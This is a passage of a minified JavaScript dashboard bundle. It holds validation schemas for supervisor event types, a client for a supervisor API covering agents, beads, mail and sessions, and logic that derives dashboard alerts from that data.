9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("mail.read"),workflow:L.optional()}),bI=g({actor:i(),city:i(),message:i().optional(),payload:vt,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("mail.replied"),workflow:L.optional()}),zI=g({actor:i(),city:i(),message:i().optional(),payload:vt,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("mail.sent"),workflow:L.optional()}),TI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("order.completed"),workflow:L.optional()}),CI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("order.failed"),workflow:L.optional()}),RI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("order.fired"),workflow:L.optional()}),BI=g({actor:i(),city:i(),message:i().optional(),payload:Ku,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("pg.credential_resolved"),workflow:L.optional()}),PI=g({actor:i(),city:i(),message:i().optional(),payload:Gu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("project.identity.stamped"),workflow:L.optional()}),NI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("provider.swapped"),workflow:L.optional()}),AI=g({actor:i(),city:i(),message:i().optional(),payload:Ju,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("request.failed"),workflow:L.optional()}),OI=g({actor:i(),city:i(),message:i().optional(),payload:Fu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("request.result.city.create"),workflow:L.optional()}),jI=g({actor:i(),city:i(),message:i().optional(),payload:Uu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("request.result.city.unregister"),workflow:L.optional()}),$I=g({actor:i(),city:i(),message:i().optional(),payload:oc,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("request.result.session.create"),workflow:L.optional()}),LI=g({actor:i(),city:i(),message:i().optional(),payload:ec,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("request.result.session.message"),workflow:L.optional()}),DI=g({actor:i(),city:i(),message:i().optional(),payload:tc,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("request.result.session.submit"),workflow:L.optional()}),MI=g({actor:i(),city:i(),message:i().optional(),payload:gr,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.crashed"),workflow:L.optional()}),FI=g({actor:i(),city:i(),message:i().optional(),payload:Xu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.drain_acked_with_assigned_work"),workflow:L.optional()}),UI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.draining"),workflow:L.optional()}),ZI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.idle_killed"),workflow:L.optional()}),qI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.max_age_killed"),workflow:L.optional()}),VI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.quarantined"),workflow:L.optional()}),WI=g({actor:i(),city:i(),message:i().optional(),payload:gr,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.stopped"),workflow:L.optional()}),HI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.stranded"),workflow:L.optional()}),KI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.suspended"),workflow:L.optional()}),GI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.undrained"),workflow:L.optional()}),JI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.updated"),workflow:L.optional()}),QI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.woke"),workflow:L.optional()}),YI=g({actor:i(),city:i(),message:i().optional(),payload:gr,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.work_query_failed"),workflow:L.optional()}),XI=g({actor:i(),city:i(),message:i().optional(),payload:ic,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("supervisor.fs_pressure.skipped_tick"),workflow:L.optional()}),eS=g({actor:i(),city:i(),message:i().optional(),payload:ac,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("supervisor.shutdown_requested"),workflow:L.optional()}),tS=g({actor:i(),city:i(),message:i().optional(),payload:uc,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("worker.operation"),workflow:L.optional()}),ih=Fv("type",[X4.extend({type:x("bead.closed")}),eI.extend({type:x("bead.created")}),tI.extend({type:x("bead.updated")}),nI.extend({type:x("city.created")}),rI.extend({type:x("city.resumed")}),oI.extend({type:x("city.suspended")}),iI.extend({type:x("city.unregister_requested")}),aI.extend({type:x("controller.started")}),sI.extend({type:x("controller.stopped")}),lI.extend({type:x("convoy.closed")}),uI.extend({type:x("convoy.created")}),dI.extend({type:x("events.rotated")}),pI.extend({type:x("extmsg.adapter_added")}),fI.extend({type:x("extmsg.adapter_removed")}),mI.extend({type:x("extmsg.bound")}),vI.extend({type:x("extmsg.group_created")}),hI.extend({type:x("extmsg.inbound")}),gI.extend({type:x("extmsg.outbound")}),yI.extend({type:x("extmsg.unbound")}),_I.extend({type:x("gc.store.maintenance.done")}),wI.extend({type:x("gc.store.maintenance.failed")}),EI.extend({type:x("mail.archived")}),xI.extend({type:x("mail.deleted")}),II.extend({type:x("mail.marked_read")}),SI.extend({type:x("mail.marked_unread")}),kI.extend({type:x("mail.read")}),bI.extend({type:x("mail.replied")}),zI.extend({type:x("mail.sent")}),TI.extend({type:x("order.completed")}),CI.extend({type:x("order.failed")}),RI.extend({type:x("order.fired")}),BI.extend({type:x("pg.credential_resolved")}),PI.extend({type:x("project.identity.stamped")}),NI.extend({type:x("provider.swapped")}),AI.extend({type:x("request.failed")}),OI.extend({type:x("request.result.city.create")}),jI.extend({type:x("request.result.city.unregister")}),$I.extend({type:x("request.result.session.create")}),LI.extend({type:x("request.result.session.message")}),DI.extend({type:x("request.result.session.submit")}),MI.extend({type:x("session.crashed")}),FI.extend({type:x("session.drain_acked_with_assigned_work")}),UI.extend({type:x("session.draining")}),ZI.extend({type:x("session.idle_killed")}),qI.extend({type:x("session.max_age_killed")}),VI.extend({type:x("session.quarantined")}),WI.extend({type:x("session.stopped")}),HI.extend({type:x("session.stranded")}),KI.extend({type:x("session.suspended")}),GI.extend({type:x("session.undrained")}),JI.extend({type:x("session.updated")}),QI.extend({type:x("session.woke")}),YI.extend({type:x("session.work_query_failed")}),XI.extend({type:x("supervisor.fs_pressure.skipped_tick")}),eS.extend({type:x("supervisor.shutdown_requested")}),tS.extend({type:x("worker.operation")}),cI.extend({type:x("TypedTaggedEventStreamEnvelopeCustom")})]);g({event_cursor:i(),items:N(ih).nullable(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});g({beads:N(rh).nullable(),deps:N(du).nullable(),logical_edges:N(du).nullable(),logical_nodes:N(dx).nullable(),partial:Z(),resolved_root_store:i(),root_bead_id:i(),root_store_ref:i(),scope_groups:N(Cx).nullable(),scope_kind:i(),scope_ref:i(),snapshot_event_seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),snapshot_version:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),stores_scanned:N(i()).nullable(),workflow_id:i()});const nS=g({declared_name:i().optional(),declared_prefix:i().optional(),name:i(),prefix:i().optional(),provider:i().optional(),session_template:i().optional(),suspended:Z()});g({agents:N(WE).nullable(),patches:KE.optional(),providers:fe(i(),Sx).optional(),rigs:N(GE).nullable(),workspace:nS});N(Qn([g({data:ao,event:x("heartbeat"),id:Be().optional(),retry:Be().optional()}),g({data:Yv,event:x("turn"),id:Be().optional(),retry:Be().optional()})]));N(Qn([g({data:ao,event:x("heartbeat"),id:Be().optional(),retry:Be().optional()}),g({data:Yv,event:x("turn"),id:Be().optional(),retry:Be().optional()})]));fe(i(),i());N(Qn([g({data:oh,event:x("event"),id:Be().optional(),retry:Be().optional()}),g({data:ao,event:x("heartbeat"),id:Be().optional(),retry:Be().optional()})]));N(Qn([g({data:Xv,event:x("activity"),id:Be().optional(),retry:Be().optional()}),g({data:ao,event:x("heartbeat"),id:Be().optional(),retry:Be().optional()}),g({data:Nx,event:x("message").optional(),id:Be().optional(),retry:Be().optional()}),g({data:Hu,event:x("pending"),id:Be().optional(),retry:Be().optional()}),g({data:Px,event:x("turn"),id:Be().optional(),retry:Be().optional()})]));N(Qn([g({data:ao,event:x("heartbeat"),id:i().optional(),retry:Be().optional()}),g({data:ih,event:x("tagged_event"),id:i().optional(),retry:Be().optional()})]));class vn extends Error{constructor(n,o,s){super(o),this.status=n,this.requestId=s}status;requestId;name="SupervisorApiError"}async function Ie(e,n){let o;try{o=await e}catch(p){throw rS(p)}const{response:s}=o;if(s===void 0)throw new vn(void 0,pu(o.error),void 0);if(!s.ok||o.error!==void 0)throw new vn(s.status,pu(o.error,s.statusText),s.headers.get("x-gc-request-id")??void 0);const u=o.data;if(u===void 0)throw new vn(s.status,n,s.headers.get("x-gc-request-id")??void 0);return u}function rS(e){return e instanceof vn?e:new vn(void 0,pu(e),void 0)}function pu(e,n="gc supervisor request failed"){if(typeof e=="string"&&e.trim().length>0)return e.trim();if(e instanceof Error&&e.message.trim().length>0)return e.message.trim();if(oS(e))for(const o of["error","message","detail"]){const s=e[o];if(typeof s=="string"&&s.trim().length>0)return s.trim()}return n}function oS(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)}const iS="";function aS(){const e=globalThis.location?.origin;return typeof e=="string"&&e.length>0&&e!=="null"?e:iS}function sS(e){if(!e.startsWith("/"))return e;const n=globalThis.location?.origin;return typeof n!="string"||n.length===0||n==="null"?e:new URL(e,n).toString().replace(/\/$/,"")}function mm(e,n,o){const s=e.replace(/\/$/,""),u=new URLSearchParams(o).toString(),p=u.length>0?`${n}?${u}`:n;return s===""?p:s.startsWith("/")?`${s}${p}`:new URL(p,`${s}/`).toString()}const lS=6e4,Bt={"X-GC-Request":"dashboard"};let vm=null;const hm=new Map;function ah(e={}){const n=e.baseUrl??aS(),s={baseUrl:sS(n),headers:{Accept:"application/json"},responseStyle:"fields",throwOnError:!1},u=e.client??uv({...s,fetch:uS(e.fetch??globalThis.fetch,sh(e.timeoutMs))});return{baseUrl:n,health(){return Ie(b3({client:u}),"gc supervisor health response was empty")},cityHealth(p){return Ie(F3({client:u,path:{cityName:p}}),"gc supervisor city health response was empty")},cityStatus(p){return Ie(t_({client:u,path:{cityName:p}}),"gc supervisor status response was empty")},listCities(){return Ie(z3({client:u}),"gc supervisor cities response was empty")},listAgents(p){return Ie(P3({client:u,path:{cityName:p}}),"gc supervisor agents response was empty")},listRigs(p){return Ie(G3({client:u,path:{cityName:p}}),"gc supervisor rigs response was empty")},listBeads(p,d){return Ie(j3({client:u,path:{cityName:p},...d===void 0?{}:{query:d}}),"gc supervisor beads response was empty")},listEvents(p,d){return Ie(L3({client:u,path:{cityName:p},...d===void 0?{}:{query:d}}),"gc supervisor events response was empty")},getBead(p,d){return Ie(N3({client:u,path:{cityName:p,id:d}}),"gc supervisor bead response was empty")},createBead(p,d){return Ie($3({client:u,path:{cityName:p},headers:Bt,body:d}),"gc supervisor bead create response was empty")},updateBead(p,d,m){return Ie(A3({client:u,path:{cityName:p,id:d},headers:Bt,body:m}),"gc supervisor bead update response was empty")},closeBead(p,d,m){return Ie(O3({client:u,path:{cityName:p,id:d},headers:Bt,...m===void 0?{}:{body:m}}),"gc supervisor bead close response was empty")},nudgeAgent(p,d){const m=gm(d);return"dir"in m?Ie(B3({client:u,path:{cityName:p,dir:m.dir,base:m.base,action:"nudge"},headers:Bt}),"gc supervisor agent nudge response was empty"):Ie(C3({client:u,path:{cityName:p,base:m.base,action:"nudge"},headers:Bt}),"gc supervisor agent nudge response was empty")},agentPrime(p,d){const m=gm(d);return"dir"in m?Ie(R3({client:u,path:{cityName:p,dir:m.dir,base:m.base}}),"gc supervisor agent prime response was empty"):Ie(T3({client:u,path:{cityName:p,base:m.base}}),"gc supervisor agent prime response was empty")},sling(p,d){return Ie(e_({client:u,path:{cityName:p},headers:Bt,body:d}),"gc supervisor sling response was empty")},listMail(p,d){return Ie(U3({client:u,path:{cityName:p},...d===void 0?{}:{query:d}}),"gc supervisor mail response was empty")},formulaFeed(p,d){return Ie(D3({client:u,path:{cityName:p},...d===void 0?{}:{query:d}}),"gc supervisor formula feed response was empty")},sendMail(p,d){return Ie(Z3({client:u,path:{cityName:p},headers:Bt,body:d}),"gc supervisor mail send response was empty")},mailThread(p,d){return Ie(q3({client:u,path:{cityName:p,id:d}}),"gc supervisor mail thread response was empty")},markMailRead(p,d,m){return Ie(H3({client:u,path:{cityName:p,id:d},headers:Bt,...m===void 0?{}:{query:m}}),"gc supervisor mail mark-read response was empty")},markMailUnread(p,d,m){return Ie(W3({client:u,path:{cityName:p,id:d},headers:Bt,...m===void 0?{}:{query:m}}),"gc supervisor mail mark-unread response was empty")},archiveMail(p,d,m){return Ie(V3({client:u,path:{cityName:p,id:d},headers:Bt,...m===void 0?{}:{query:m}}),"gc supervisor mail archive response was empty")},replyMail(p,d,m,h){return Ie(K3({client:u,path:{cityName:p,id:d},headers:Bt,body:m,...h===void 0?{}:{query:h}}),"gc supervisor mail reply response was empty")},cityEventStreamUrl(p,d){return mm(n,`/v0/city/${encodeURIComponent(p)}/events/stream`,d===void 0?void 0:{after_seq:d})},sessionStreamUrl(p,d,m){return mm(n,`/v0/city/${encodeURIComponent(p)}/session/${encodeURIComponent(d)}/stream`,m===void 0?void 0:{after:m})},listSessions(p){return Ie(X3({client:u,path:{cityName:p}}),"gc supervisor sessions response was empty")},sessionPending(p,d){return Ie(J3({client:u,path:{cityName:p,id:d}}),"gc supervisor session pending response was empty")},respondSession(p,d,m){return Ie(Q3({client:u,path:{cityName:p,id:d},headers:Bt,body:m}),"gc supervisor session respond response was empty")},sessionTranscript(p,d){return Ie(Y3({client:u,path:{cityName:p,id:d},query:{format:"conversation"}}),"gc supervisor transcript response was empty")},workflowRun(p,d,m){return Ie(n_({client:u,path:{cityName:p,workflow_id:d},...m===void 0?{}:{query:m}}),"gc supervisor workflow response was empty")},formulaDetail(p,d,m){return Ie(M3({client:u,path:{cityName:p,name:d},query:m}),"gc supervisor formula detail response was empty")},mutationHeaders(){return{...Bt}}}}function it(){return vm??=ah(),vm}function cc(e){const n=sh(e),o=hm.get(n);if(o!==void 0)return o;const s=ah({timeoutMs:n});return hm.set(n,s),s}function gm(e){const n=e.trim().split("/");if(n.length===1){const o=n[0];if(o!==void 0&&o!=="")return{base:o}}if(n.length===2){const o=n[0],s=n[1];if(o!==void 0&&o!==""&&s!==void 0&&s!=="")return{dir:o,base:s}}throw new Error(`invalid agent alias: ${e}`)}function sh(e){return typeof e=="number"&&Number.isFinite(e)&&e>0?e:lS}function uS(e,n){return async(o,s)=>{const u=new AbortController,p=new vn(void 0,`gc supervisor request timed out after ${n}ms`,void 0),d=cS(o,s);d?.aborted&&u.abort(d.reason);const m=()=>u.abort(d?.reason);d?.addEventListener("abort",m,{once:!0});let h;const y=new Promise((z,B)=>{h=setTimeout(()=>{u.abort(p),B(p)},n)}),w=new Request(o,{...s,signal:u.signal}),I=e(w);try{return await Promise.race([I,y])}finally{h!==void 0&&clearTimeout(h),d?.removeEventListener("abort",m)}}}function cS(e,n){return n?.signal!==void 0?n.signal:e instanceof Request?e.signal:null}async function dS(e,n){const o=Mt("list agent pending interactions"),s=pS(n),u=e.flatMap(d=>{const m=d.session?.name;if(m===void 0)return[];const h=s.get(m);return h===void 0?[]:[{agentName:d.name,sessionId:h,sessionName:m}]});return(await Promise.all(u.map(async d=>{const m=await it().sessionPending(o,d.sessionId);return m.pending===void 0?null:{...d,pending:m.pending}}))).filter(d=>d!==null)}async function Eb(e,n){const o=Mt("respond to agent pending interaction");return it().respondSession(o,e,n)}function xb(e){return`gc agent attach ${fS(e)}`}function pS(e){const n=new Map;for(const o of e)o.session_name!==void 0&&n.set(o.session_name,o.id);return n}function fS(e){return/^[A-Za-z0-9_./:-]+$/.test(e)?e:`'${e.replaceAll("'","'\\''")}'`}const mS=1e3,vS=200,hS=1e3,gS=new Set(["feature","bug","task","epic","chore","decision"]);async function yS(e={}){const n=Mt("list supervisor beads"),o=e.limit??mS,s=e.rigFilter?.trim()??"",u=e.includeClosed??!1,p=e.includeBookkeeping??!1,d={limit:o,...u?{all:!0}:{},...s.length===0?{}:{rig:s}},m=await it().listBeads(n,d),h=uh(m.items??[]),y=u?h:h.filter(z=>z.status!=="closed"),w=p?y:y.filter(_S),I=lh(m.total);return{items:w,total:w.length,...I===void 0?{}:{upstream_total:I},upstream_fetched:h.length,fetch_limit:o}}async function Ib(e,n={}){const o=Mt("list supervisor assigned beads"),s=ES(e),u=n.limit??vS,p=n.includeClosed??!1;if(s.length===0)return{items:[],total:0,upstream_fetched:0,fetch_limit:u};const d=await Promise.all(s.map(y=>it().listBeads(o,{assignee:y,limit:u,...p?{all:!0}:{}}))),m=uh(d.flatMap(y=>y.items??[])),h=wS(d);return{items:m,total:m.length,...h===void 0?{}:{upstream_total:h},upstream_fetched:m.length,fetch_limit:u}}async function Sb(e){const n=Mt("fetch supervisor bead");try{return await it().getBead(n,e)}catch(o){if(!(o instanceof vn)||o.status!==404)throw o;const u=((await it().listBeads(n,{limit:hS})).items??[]).find(p=>p.id===e);if(u!==void 0)return u;throw o}}function _S(e){return!(!gS.has(e.issue_type)||Array.isArray(e.labels)&&e.labels.some(n=>n.startsWith("gc:")))}function lh(e){if(typeof e=="number")return e;if(typeof e=="bigint")return Number(e)}function wS(e){let n=0;for(const o of e){const s=lh(o.total);if(s===void 0)return;n+=s}return n}function uh(e){const n=new Set,o=[];for(const s of e)n.has(s.id)||(n.add(s.id),o.push(s));return o}function ES(e){const n=new Set,o=[];for(const s of e){const u=s.trim();u.length===0||n.has(u)||(n.add(u),o.push(u))}return o}const kb=[100,500,1e3],dc=100,bb=["24h","7d","all"],xS="all",IS={"24h":1440*60*1e3,"7d":10080*60*1e3};async function pc(e,n,o,s=dc,u=xS,p=Date.now()){const d=Mt("list supervisor mail"),m=await it().listMail(d,{limit:s}),h=m.items??[],y=kS(SS(h,e,n,o),u,p);return y.sort(TS),{...m,items:y,total:y.length,upstream_total:h.length,upstream_fetched:h.length,fetch_limit:s}}async function zb(e,n,o,s=dc){const u=Mt("fetch supervisor mail thread");try{const p=await it().mailThread(u,e);return ym(p)}catch(p){if(!(p instanceof vn)||p.status!==404)throw p;const d=await pc("all",n,o,s),m=d.items.filter(h=>h.thread_id===e);return ym({...d,items:m,total:m.length})}}function ym(e){const n=zS(e.items??[]).sort(CS);return{...e,items:n,total:n.length}}function SS(e,n,o,s){const u=bS(o,s);return n==="all"?[...e]:n==="inbox"?e.filter(p=>p.to.toLowerCase()===u):e.filter(p=>p.from.toLowerCase()===u)}function kS(e,n,o){if(n==="all")return[...e];const s=o-IS[n];return e.filter(u=>{const p=Date.parse(u.created_at);return Number.isFinite(p)&&p>=s})}function bS(e,n){const o=e.toLowerCase();return o===n.operatorAlias.toLowerCase()?n.operatorWireAlias:o}function zS(e){const n=new Set,o=[];for(const s of e)n.has(s.id)||(n.add(s.id),o.push(s));return o}function TS(e,n){return n.created_at.localeCompare(e.created_at)}function CS(e,n){return e.created_at.localeCompare(n.created_at)}function ch(e,n){if(e===void 0||e.length===0)return null;const o=Date.parse(e);if(!Number.isFinite(o))return null;const s=n-o;return s>=0?s:null}function dh(e){const n=Math.max(1,Math.round(e/36e5));return n<48?`${n}h`:`${Math.round(n/24)}d`}const RS=1440*60*1e3,BS=4320*60*1e3;function PS(e,n){const o=[];for(const s of e.escalations){const u=NS(s);u!==null&&o.push(u)}for(const s of e.beads){const u=AS(s,n);u!==null&&o.push(u)}return o}function NS(e){return e.status==="closed"?null:{beadId:e.id,reason:"escalated",severity:"attention",summary:`${e.title} — escalation raised`,updatedAt:e.updated_at??e.created_at}}function AS(e,n){if(e.status!=="open"||OS(e))return null;const o=ch(e.created_at,n);if(o===null||o<RS)return null;const s=o>=BS;return{beadId:e.id,reason:"ready-unclaimed",severity:s?"attention":"watch",summary:`${e.title} opened ${dh(o)} ago`,updatedAt:e.created_at}}function OS(e){return e.assignee!==void 0&&e.assignee.trim().length>0}function _m(e,n){const o=`/runs/${encodeURIComponent(e)}`;if(n.status!=="available")return o;const s=new URLSearchParams;return s.set("scope_kind",n.kind),s.set("scope_ref",n.ref),`${o}?${s.toString()}`}const jS={"awaiting-input":"awaiting input",errored:"errored","rate-limited":"rate limited",stalled:"stalled"},$S={respond:"Respond to its prompt.",reset:"Reset the agent.",nudge:"Nudge it to resume."},LS={"awaiting-input":"stuck",errored:"stuck","rate-limited":"warn",stalled:"warn"};function DS(e){return jS[e]}function Tb(e){return $S[e]}function Cb(e){return LS[e]}const MS=new Set(["gc.store.maintenance.failed","order.failed","request.failed","session.crashed","session.stranded","session.work_query_failed","supervisor.shutdown_requested"]),FS=new Set(["events.rotated","session.quarantined","session.suspended","supervisor.fs_pressure.skipped_tick"]);function US(e){return MS.has(e.type)?"attention":FS.has(e.type)?"watch":"event"}function ZS(e){return e.message??e.subject??e.type}const qS=1440*60*1e3,VS=30,WS=2e9,HS=1e9,KS=1e9,GS=512e6,JS="gc:escalation",QS="decision.decide";function YS(e={}){return si.map(n=>XS(n,e))}function XS(e,n){switch(e){case"activity":return ik(n.activity);case"agents":return nk(n.agents);case"beads":return rk(n.beads);case"health":return ek(n.health);case"mail":return ok(n.mail);case"runs":return tk(n.runs)}}function ek(e){return{id:"health:derived",domain:"health",getItems:()=>gk(e)}}function tk(e){return{id:"runs:derived",domain:"runs",getItems:()=>ak(e)}}function nk(e){return{id:"agents:derived",domain:"agents",getItems:()=>sk(e)}}function rk(e){return{id:"beads:derived",domain:"beads",getItems:()=>lk(e)}}function ok(e){return{id:"mail:derived",domain:"mail",getItems:()=>pk(e)}}function ik(e){return{id:"activity:derived",domain:"activity",getItems:()=>mk(e)}}function ak(e){const n=[];if(e===void 0)return n;const o={provenance:e.provenance,fetchedAt:e.fetchedAt};if(e.error!==void 0&&e.error.length>0)return n.push(It("runs",{id:"runs:unavailable",title:"Run data unavailable",summary:e.error,href:"/runs"})),n;const s=e.summary;if(s===void 0)return n;s.lanesPartial===!0&&n.push(Yo("runs",{id:"runs:partial",title:"Run list incomplete",href:"/runs"},o));for(const u of[...s.lanes,...s.blockedLanes])u.health.status!=="available"&&n.push(Yo("runs",{id:`runs:${u.id}:health-unavailable`,title:`${u.title} health unavailable`,summary:u.health.error,href:_m(u.id,u.scope)},o));for(const u of m7(s.blockedLanes))n.push(It("runs",{id:`runs:${u.id}:blocked`,title:`${u.title} blocked`,summary:u.reason,href:_m(u.id,u.scope)}));return n}function sk(e){const n=[];if(e===void 0)return n;if(e.error!==void 0&&e.error.length>0)return n.push(Yo("agents",{id:"agents:unavailable",title:"Agent data unavailable",summary:e.error,href:"/agents"})),n;e.partial===!0&&n.push(Yo("agents",{id:"agents:partial",title:"Agent list incomplete",href:"/agents"})),e.pendingError!==void 0&&e.pendingError.length>0&&n.push(Yo("agents",{id:"agents:pending-unavailable",title:"Agent pending state unavailable",summary:e.pendingError,href:"/agents"}));const o=(e.pendingInteractions??[]).map(s=>({agentName:s.agentName,...s.pending.prompt===void 0?{}:{prompt:s.pending.prompt}}));for(const s of l7(e.items??[],o))n.push(It("agents",{id:`agents:${s.name}:needs-you`,title:`${s.name} ${DS(s.reason)}`,summary:s.detail,href:`/agents/${encodeURIComponent(s.name)}`}));return n}function lk(e){const n=[];if(e===void 0)return n;e.error!==void 0&&e.error.length>0&&n.push(It("beads",{id:"beads:unavailable",title:"Bead data 